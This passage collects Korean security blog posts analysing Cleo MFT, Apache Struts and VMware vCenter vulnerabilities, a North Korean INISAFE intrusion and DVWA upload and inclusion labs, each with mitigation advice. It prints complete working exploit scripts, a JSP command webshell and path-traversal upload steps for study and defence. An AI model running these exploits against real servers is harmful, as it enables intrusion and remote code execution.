1. Cleo

- 데이터 통합 및 관리형 파일 전송 솔루션(MFT)을 제공하는 글로벌 소프트웨어 기업 [1]

2. 취약점

2.1 CVE-2024-50623

[사진 1] CVE-2024-50623 [2]

- Cleo MFT SW에서 발생하는 파일 읽기/쓰기 취약점

> 24.10 적용된 패치에 대한 우회를 허용하는 Zero-Day 취약점으로 공격에 악용되는 중

영향받는 버전
- Cleo Harmony < 5.8.0.21
- Cleo VLTrader < 5.8.0.21
- Cleo LexiCom < 5.8.0.21

 

2.2 상세내용

- 취약점은 /Synchronization 엔드포인트에서 발생

> 클러스터 노드 간 파일 동기화를 처리하는 엔드포인트

 

- syncIn 메소드는 /Synchronization으로 들어온 HTTP 요청을 핸들링

> 다음 형식을 갖는 "SYNC_HEADER(”VLSync”)" 헤더를 찾을 경우 이를 파싱해  Retrieve, l, v, n 등의 파라미터를 가져옴

> 각각의 매개변수는 명령(Retrieve), l(라이선스 시리얼번호), v(버전), n(소프트웨어 이름)

 public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        int statusCode = 500;
        InputStream in = null;
        int len = 0;

        try {
            in = httpRequest.getInputStream();
            len = httpRequest.getContentLength();
            boolean found = false;
            Enumeration headers = httpRequest.getHeaderNames();

            while(headers.hasMoreElements()) {
                String header = (String)headers.nextElement();
                if (header.equalsIgnoreCase(SYNC_HEADER)) {
                    found = true;
                    String value = httpRequest.getHeader(header);
                    String serialNumber = getDecodedParameterValue(value, "l", true);
                    if (hasToken(value, START)) {
                        // ... omitted ...
                        break;
                    }

                    if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0

 

- 매개변수 중 l은 islValid 메소드를 통해 유효성 검증

> 유효성 검증은 6번째 문자가 '-'인 13자리인지 확인한 후 문자열을 비교하는 단순한 형태로 이루어짐

> License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))를 만족하는 형태의 시리얼 넘버를 직접 생성해 사용할 수 있음

protected static boolean islValid(String serialNumber) {
     if (serialNumber == null) {
         return false;
      } else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
          if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
              return false;
          }
      }
      // ... further code omitted ..
    }
    
public static String scramble(String serial) {
        int shift = 0;

        for(int i = 0; i < serial.length(); ++i) {
            shift ^= serial.charAt(i);
        }

        StringBuffer sb = new StringBuffer(serial);
        sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
        sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
        sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
        sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
        sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
        sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
        return sb.toString();
    }

 

2.3 파일 읽기

- 명령이 Retrieve인 경우 retrieve 메소드에서 해당 명령을 처리

> VLSync 헤더에서 path 파라미터를 가져와 fetchLocalFile에 path가 지정한 경로에 있는 파일을 읽어 응답으로 반환

> 이때, path 값에 대한 검증을 수행하지 않아 "../" 등의 디렉터리 이동 문자열을 이용할 수 있음

  private int retrieve(String header, HttpServletResponse httpResponse) {
        String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
        // ... omitted ...
        String path = fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (statusCode == 200) {
            try {
                byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
                fireRetrieveEvent(path);
                statusCode = 200;
                httpResponse.setStatus(200);
                httpResponse.setContentLength(bytes.length);
                httpResponse.setHeader("Connection", "close");
                ServletOutputStream outputStream = httpResponse.getOutputStream();
                outputStream.write(bytes);
                outputStream.close();
            } catch (FileNotFoundException e) {
                statusCode = 404;
            } catch (Exception ex) {
                // ... omitted ...
            }
        }
        return statusCode;
    }

 

[사진 2] 공격 예시

2.4 파일 쓰기

- ADD 명령을 사용해 임의의 파일을 쓸 수 있음

> fileIn 메소드에서 ADD 명령을 처리

> path 파라미터를 파싱하며, 이는 쓸 파일의 경로를 지정하며, 이후 파일의 존재 여부와 쓰기가 가능한지 확인

private int fileIn(String header, InputStream in, int length) throws Exception {
        int statusCode = 200;
        String serialNumber = getDecodedParameterValue(header, "l", true);
        // ... omitted ...
        String path = this.fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (file.exists() && !file.canWrite()) {
            statusCode = 403;
        } else {

 

- 위 검사를 통과하면 아래 코드가 실행되어 지정된 경로의 파일에 쓰이게 됨

> 파일 읽기와 마찬가지로 "../" 등의 디렉터리 이동 문자열을 사용해 임의 파일 쓰기가 가능

> 임의 파일 쓰기를 사용해 autorun 디렉터리(자동 실행 관련 디렉터리)에 파일을 업로드하여 RCE를 수행

OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
  LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();

3. PoC

- /Synchronization URL 및 VLSync 헤더를 설정하여 익스플로잇 [3]

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)

parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\\..\\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")

parser.add_argument("--target", help="Target URL", required=True)
parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)
parser.add_argument("--where", help="File to write or read", required=True)
parser.add_argument("--what", help="local file to upload", required=False)

args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

def extract_version(target):
    r = s.get(f"{target}/Synchronization")
    version = r.headers['Server'].split('/')[1].split(' ')[0]
    return version

def read_file(target, where, target_version):
    headers = {
        'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }
    

    r = s.get(f"{target}/Synchronization", headers=headers)
    if(r.status_code == 200):
        print(r.text)
    else:
        print("[ERROR] Failed to read the file")


def write_file(target, where, what, target_version):

    headers = {
        'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }

    r = s.post(f"{target}/Synchronization", headers=headers, data=what)
    if(r.status_code == 200):
        print("[INFO] File written successfully")
    else:
        print("[ERROR] Failed to write the file")




if(args.action == 'read'):
    read_file(args.target, args.where, extract_version(args.target))
elif(args.action == 'write'):
    if(args.what == None):
        print("[ERROR] --what is required for write action")
        exit(1)
    write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))
else:
    print("[ERROR] Invalid action")
    exit(1)

4. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> validatePath()를 추가해 path 파라미터에 대한 검증 추가

protected int validatePath(String path) {
        try {
            if (!Strings.isNullOrEmpty(path)) {
                URI uri = new URI(path);
                if (!Strings.isNullOrEmpty(uri.getScheme())) {
                    return ServiceException.REMOTE_IO_EXCEPTION;
                }
            }
        } catch (URISyntaxException e) {
        }
        String path2 = FilenameUtils.normalize(path);
        if (Strings.isNullOrEmpty(path2)) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath = LexIO.getRelative(path2);
        if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
        for (String rootpath : UNPROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath)) {
                return 200;
            }
        }
        for (String rootpath2 : PROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath2)) {
                return ServiceException.REMOTE_IO_EXCEPTION;
            }
        }
        return 200;
    }

 

- autorun 설정 비활성화 [5]

[사진 3] autorun 비활성화

- /Synchronization URL 및 VLSync 헤더에 대한 보안 장비 탐지 규칙 적용

- 접근 제한, 관련 디렉터리 및 로그 점검, 악성 파일 삭제 등 조치 권고

5. 참고

[1] https://support.cleo.com/hc/en-us

[2] https://nvd.nist.gov/vuln/detail/CVE-2024-50623

[3] https://github.com/watchtowrlabs/CVE-2024-50623?ref=labs.watchtowr.com

[4] https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory-CVE-2024-50623?ref=labs.watchtowr.com

[5] https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild

[6] https://labs.watchtowr.com/cleo-cve-2024-50623/

[7] https://www.dailysecu.com/news/articleView.html?idxno=162064

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164 [1]

 

- 파일 업로드 매개변수 조작을 통해 경로 순회를 활성화하여 원격 코드 실행이 가능한 임의의 파일을 업로드할 수 있는 취약점 (CVSS: 9.8)

- 해당 취약점이 동작하기 위해서는 ① 취약한 버전 Apache Struts의 파일 업로드 기능을 사용하며 ② setter 루틴을 사용하는 사용자 정의 논리가 구현되어 있어야 하는 것으로 판단됨

영향받는 버전
- Apache Struts 6.0.0 ~ 6.3.0
- Apache Struts 2.5.0 ~ 2.5.32
- Apache Struts 2.0.0 ~ 2.3.37 EOL_제품 서비스가 종료되어 유지보수, 버그 수정, 보안 업데이트 등이 이루어지지 않음

 

2.1 취약점 상세 [3][4][5][6]

- 파일 업로드시 Struts 인터셉터 FileUploadInterceptor를 통해 파일 업로드 관련 매개변수를 추출

> FileUploadInterceptor는 파일 업로드 관련 매개변수를 HttpParameters에 매핑 [2]

> 매핑 과정에서 매개변수의 대ㆍ소문자를 구분할 경우 덮어쓰기를 유발하는 것으로 판단됨

[사진 2]  FileUploadInterceptor

 

- 공격자는 POST 메소드를 이용해 /upload/upload.action 경로로 조작된 요청을 전송

> "Upload" 및 "uploadFileName"을 처리하는 과정에서 덮어쓰기가 발생

> 업로드 파일 덮어쓰기 및 경로 순회가 발생해 임의의 위치로 이동하여 파일 업로드가 가능해짐

 

[사진 3] 조작된 POST 요청 전송

 

2.2 PoC [7]

- 지정된 경로에 웹쉘 등 파일 업로드 후 연결을 시도하며, 200 반환시 쉘 획득

import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError

MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2


def get_base_url(url):
    parsed_url = urlparse(url)
    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
    return base_url

def create_war_file():
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
        print("[+] WAR file created successfully.")
    else:
        print("[+] WAR file already exists.")

def upload_file(url):
    create_war_file()

    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        print("[-] ERROR: webshell.war not found in the current directory.")
        exit()

    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
        CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR

    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()

    files = {
        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
    }

    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    try:
        response = requests.post(url, headers=headers, data=m)
        print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
    except requests.RequestException as e:
        print("[-] Error while uploading the WAR webshell:", e)
        sys.exit(1)

def attempt_connection(url):
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            r = requests.get(url)
            if r.status_code == 200:
                print('[+] Successfully connected to the web shell.')
                return True
            else:
                raise Exception
        except ConnectionError:
            if attempt == MAX_ATTEMPTS:
                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
        except Exception:
            if attempt == MAX_ATTEMPTS:
                print('[-] Maximum attempts reached. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
    return False

def start_interactive_shell(url):
    if not attempt_connection(url):
        sys.exit()

    while True:
        try:
            cmd = input("\033[91mCMD\033[0m > ")
            if cmd == 'exit':
                raise KeyboardInterrupt
            r = requests.get(url + "?cmd=" + cmd, verify=False)
            if r.status_code == 200:
                print(r.text.replace('\n\n', ''))
            else:
                raise Exception
        except KeyboardInterrupt:
            sys.exit()
        except ConnectionError:
            print('[-] We lost our connection to the web shell. Exiting...')
            sys.exit()
        except:
            print('[-] Something unexpected happened. Exiting...')
            sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
    args = parser.parse_args()

    if not args.url.startswith("http"):
        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
        exit()

    print("[+] Starting exploitation...")
    upload_file(args.url)

    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")

    print(f"[+] Attempting a connection with webshell.")
    start_interactive_shell(webshell_url)

 

- 웹쉘은 cmd 매개변수로 명령을 전달받아 명령 수행 결과를 반환

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String output = "";
    if (cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd, null, null);
            BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((s = sI.readLine()) != null) {
                output += s + "\n";
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
%>
<%=output %>

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8]

> 업로드 후 임시 파일이 삭제되도록 보장

> HttpParameters 클래스가 매개 변수 이름을 대소문자 구분하지 않도록 변경

제품명 영향받는 버전 해결 버전
Struts 6.0.0 ~ 6.3.0 6.3.0.2
2.0.0 ~ 2.3.37(EOL)
2.5.0 ~ 2.5.32
2.5.33

 

- 파일 업로드 구성 검토 (업로드 파일 크기 제한 등 검토)

- 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://www.vicarius.io/vsociety/posts/apache-struts-rce-cve-2023-50164
[4] https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis?referrer=notificationEmail
[5] https://xz.aliyun.com/t/13172#toc-5
[6] https://www.wealthymagnate.com/cve-2023-50164/
[7] https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71262&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=124844&page=2&kind=1

1. INISAFE CrossWeb EX V3

- 이니텍에서 제작하였으며, 공동인증서를 사용해 로그인하거나 전자서명할 때 쓰이는 S/W

- 국내 금융기관 및 쇼핑몰 등 다수 홈페이지에서 사용자 인증서 처리를 위해 주로 사용

- 사용자가 홈페이지에 접속하면 자동 설치됨

 

2. 취약점

- 작년말 북한이 해당 S/W의 취약점을 악용해 PC 해킹 및 악성코드 유포 등 해킹한 사실이 국정원·경찰청·KISA 등 유관기관에 의해 적발

- 국가·공공기관 및 방산·바이오업체 등 국내외 주요기관 60여곳의 PC 210여대를 해킹한 사실을 확인

- 해킹에 악용된 S/W는 국내외 1,000만대 이상의 기관·업체·개인 PC에 설치되어 있는 것으로 추정

- 대규모 피해 확산 방지를 위해 관계기관과 합동으로 관련 사실을 공지

영향받는 버전
- INISAFE CrossWeb EX V3 3.3.2.40 이하 버전

 

2.1 취약점 상세

- 해당 취약점은 INITECH사 프로세스(inisafecrosswebexsvc.exe)에 의해 악성 행위가 발생되는 것으로 확인됨

피해 시스템의
inisafecrosswebexsvc.exe
특징
- INITECH사의 보안 프로그램인 INISAFE CrossWeb EX V3의 실행 파일
- 정상 파일과 같은 해시값을 가짐 (MD5:4541efd1c54b53a3d11532cb885b2202)
- INITECH사에 의해 정상 서명된 파일
- INISAFE Web EX Client로 침해 시점 이전부터 시스템에 설치되어 있었으며, 변조의 흔적 또한 발견되지 않음
- 시스템 부팅 시 iniclientsvc_x64.exe에 의해 실행되는데, 침해 당일에도 같은 방식으로 실행

 

- 악성코드인 SCSKAppLink.dll이 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작

※ DLL 인젝션: 다른 프로세스의 주소 공간 내에서 DLL을 강제로 로드시킴으로써 코드를 실행시키는 기술

- SCSKAppLink.dll에는 호스트 프로세스에 따라 분기하는 코드가 포함

 

[사진 1] 분기 코드

 

- 분기 코드는 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작하는 경우 특정 C2에 접속하여 추가 악성코드를 다운 및 실행

※ svchost.exe, rundll32.exe, notepad.exe에 인젝션 여부를 판단하도록 돼있으나, 해당 분기문에는 실행 코드가 포함되지 않음

 

[사진 2] 호스트가 inisafecrosswebexsvc.exe인 경우 접속하는 C2 주소

 

- C2에 접속하여 임시폴더에 악성코드 main_top[1].htm 다운로드 후 특정 경로에 복사

> 다운로드 경로 : c:\users\<사용자>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm

> 복사된 경로 : C:\Users\Public\SCSKAppLink.dll

 

[사진 3] 동작 과정

 

3. 대응방안

① 서비스 운영자: 이니텍를 통해 최신버전 교체_INISAFE CrossWeb EX V3 3.3.2.41

 

② 제품 사용자: 취약한 버전이 설치되어 있는 경우 제거 후 최신버전 업데이트를 진행

> [제어판]-[프로그램]-[프로그램 및 기능]에서 INISAFE CrossWeb EX V3 버전 확인 후 제거 클릭

> 아래 링크를 참고하여, 운영체제에 맞는 최신 버전의 INISAFE CrossWeb EX V3를 설치

※ Windows 클라이언트(v3.3.2.41_32bit) : http://demo.initech.com/initech/crosswebex_pack/3.3.2.41/INIS_EX_SHA2_3.3.2.41.exe

 

③ 침해지표 IoC 보안 장비 적용 [3]

 

3.1 기타사항

① 국정원 조치

> 올해 1월 긴급 대응에 착수, 해당 악성코드의 작동 원리 등에 대한 상세 분석을 완료

> 해당 분석 자료를 근거로 A사와 협조해 실제 공격-방어 시현을 진행하는 등 보안 패치 개발을 완료

> 현재 해당 프로그램을 사용 중인 공공·금융기관을 대상으로 관계기관들과 함께 보안 패치를 진행 중

> 국민 대상 보안 프로그램을 최신 버전으로 신속하게 업데이트 강조

> 23.04.05일 판교 사이버안보협력센터에서 ‘금융보안 SW 침해사고 방지 를 위한 유관기관 간담회’를 개최

※ 과학기술정보통신부·경찰청·KISA·금융감독원·금융보안원 등 정부기관 및 12개 금융보안 SW 제조사가 참여

※ 최신 해킹사례를 공유하고, 유사 사례 재발을 막기 위한 대책을 논의할 계획

>  관계기관과의 적극적인 사이버위협 정보 공유 및 협력을 통해 북한의 해킹위협에 선제적으로 대응할 것

 

② 이니텍 조치

> 지난 1월 독일 보안 전문가 블라디미르 팔란트의 게시글 이미지에 자사 제품이 있어 취약점 점검 및 취약점 확인

> 취약점 발견 후 이를 보완하는 와중에 국정원에서 연락이 옴

> 2월20일 문제가 된 취약점을 완화하는 보안패치 개발을 완료해 배포 중_현재 40%가량의 기업들이 패치를 완료한 상태

 

4. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71030&menuNo=205020
[2] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=32172&pageIndex=1#LINK
[3] https://asec.ahnlab.com/ko/33706/
[4] https://asec.ahnlab.com/ko/50727/
[5] https://www.boannews.com/media/view.asp?idx=115670
[6] https://www.boannews.com/media/view.asp?idx=115658
[7] https://www.ddaily.co.kr/news/article/?no=260579
[8] https://www.news1.kr/articles/5000945

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점

 파일 업로드 후 원격 명령 실행으로 이어질 수 있음

 

영향받는 버전
- VMware vCenter Server 7.0 U1c 이전 7.x 버전
- VMware vCenter Server 6.7 U3I 이전 6.7 버전
- VMware vCenter Server 6.5 U3n 이전 6.5 버전
- VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전

[사진 2] 쇼단 검색 화면 (http.title:"ID_VC_Welcome")

2. 분석

2.1 원인

- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도

- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능

[사진 3] uploadova 플러그인 코드의 취약한 부분

 

- [사진 3]의 코드는 다음과 같은 문제를 유발시킴

① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음

② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음

∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능

 

[자신 4] PoC 화면

2.2 PoC

- 공개된 PoC를 확인 시 다음을 알 수 있음

① POST 메소드 사용

② /ui/vropspluginui/rest/services/uploadova URL 요청

③ .tar 확장자 파일을 업로드 시도

 

※ 대상 서버가 Windows인 경우

- .jsp 형식의 웹 쉘 등 악의적인 파일을

- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)

- 파일에 접근 및 원격 코드 실행

#!/usr/bin/python3

import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'

def check(ip):
    r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
    if r.status_code == 405:
        print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
        return True
    else:
        print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
        return False

def make_traversal_path(path, level=5, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\') 
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')

def archive(file, path, os):
    tarf = tarfile.open('exploit.tar', 'w')
    fullpath = make_traversal_path(path, level=5, os=os)
    print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
    tarf.add(file, fullpath)
    tarf.close()
    print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')

def post(ip):
    r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
    if r.status_code == 200 and r.text == 'SUCCESS':
        print('[+] File uploaded successfully')
    else:
        print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
        print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text) 

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The file to tar')
    parser.add_argument('-p', '--path', help='The path to extract the file to on target')
    parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
    args = parser.parse_args()
    
    vulnerable = check(args.target)
    if vulnerable and (args.file and args.path and args.operating_system):
        archive(args.file, args.path, args.operating_system)
        post(args.target)

 

3. 대응방안

3.1 서버측면

① 최신 버전의 업데이트 적용

- VMware vCenter Server 7.0 U1c
- VMware vCenter Server 6.7 U3I
- VMware vCenter Server 6.5 U3n
- VMware Cloud Foundation (vCenter 서버) 4.2
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2

 

3.2 네트워크 측면

① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-21972

- https://www.shodan.io/search?query=http.title:%22ID_VC_Welcome%22

https://reconshell.com/cve-2021-21972-vcenter-rce-vulnerability-analysis/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35925

https://kb.vmware.com/s/article/82374

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://swarm.ptsecurity.com/unauth-rce-vmware/

https://github.com/horizon3ai/CVE-2021-21972/blob/master/CVE-2021-21972.py

 

 

File Upload 취약점_webshell

1. File Upload 취약점 - 주로 게시판 등에서 파일 업로드 기능을 악용하여 시스템 권한을 획득 - 공격자는 서버 사이드 스크립트(ASP, JSP, PHP 등)을 이용하여 웹쉘(WebShell)을 제작 및 업로드 웹쉘(Web

ggonmerr.tistory.com

 

File Inclusion (DVWA실습)

1. File Inclusion - PHP로 구현된 웹 서버를 대상으로 PHP의 include 기능을 악용하는 방식 - PHP는 incude를 이용해 다른 PHP 파일을 현재 웹 페이지에 포함시킬 수(or 불러올 수) 있음 - 공격자는 악의적인 PH

ggonmerr.tistory.com

 

- File Upload 취약점_webshell 글 "2.4 File Upload (High Level)"에서 필터링 우회를 웹쉘 확장자에 jpg를 추가해 업로드

- 업로드한 웹쉘에 접근 시 jpg 확장자로 되어있어 웹쉘이 실행되지 않음

 

- File Inclusion 공격을 통해 웹쉘을 웹 페이지에 직접 삽입하여 File Upload (High Level) 필터링 우회가 가능함

- DVWA는 High Level로 설정되어 있기 때문에 File Inclusion의 High Level에 대한 우회도 필요함

 

[캡쳐 1] File Upload (High Level) 필터링 우회

- File Upload (High Level)에서 적용되는 필터링을 우회하기 위해 버프슈트를 통한 값 변경

- 확장자 검사를 우회하기 위해 확장자명을 .php.jpg로 변경 및 getimagesize() 우회를 위해 GIF89a 추가

 

- File Inclusion (High Level)에서 적용되는 필터링을 우회하기 위해 page 매개변수의 파라미터 변경

- 파라미터의 명이 file로 시작되도록 변경

 

- 현재 디렉터리의 위치를 모르기 때문에, 상위 디렉터리로 이동하기 위해 ../ 충분히 입력

 

- 최종 URL : hxxp://DVWA 주소/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg

[캡쳐 2] File Upload (High Level) 우회

 

- 명령어 입력 후 Submit Query 시 ERROR 반환

[캡쳐 3] 에러 반환

 

- URL에 Query 파라미터로 명령을 입력해 전달 시 명령 수행 결과를 반환

[캡쳐 4] 공격 성공

 

- File Upload 공격과 File Inclusion 공격을 혼합해 File Upload High Level을 우회함

- 특정 기법만을 방어하기 보다는 다양한 방안을 고려해야 함

1. File Inclusion

- PHP로 구현된 웹 서버를 대상으로 PHP의 include 기능을 악용하는 방식

- PHP는 incude를 이용해 다른 PHP 파일을 현재 웹 페이지에 포함시킬 수(or 불러올 수) 있음

- 공격자는 악의적인 PHP 파일을 생성해 대상 웹 페이지에 include의 파라미터로 전송해 악성 파일을 실행시키거나, 시스템의 로컬 파일에 접근한다.

- 시스템의 로컬 파일에 접근하는 LFI(Local File Inclusion) 방식과, 외부 파일을 불러오는 RFI(Remote File Inclusion) 방식이 존재

 

2. DVWA 실습 - Low Level

2.1 RFI 방식

[캡쳐 1] 최초 페이지

- file1.php, file2.php, file3.php에 접속 시 page 매개변수의 인자값만 변경됨

[캡쳐 2] 악성 PHP 파일 생성

- 웹에서 접근이 가능하도록 /var/www/html에 악성 PHP 파일 생성

[캡쳐 3] /etc/passwd 파일 노출

- 취약한 웹 페이지에서 page 매개변수로 악성 PHP 파일 경로를 전달하면, 해당 PHP이 삽입되어 실행됨

 

2.2 LFI

[캡쳐 4] /etc/passwd 파일 노출

- 로컬 시스템의 파일에 접근 및 파일 내용 노출

 

3. DVWA 실습 - Medium

[캡쳐 5] RFI 공격 실패

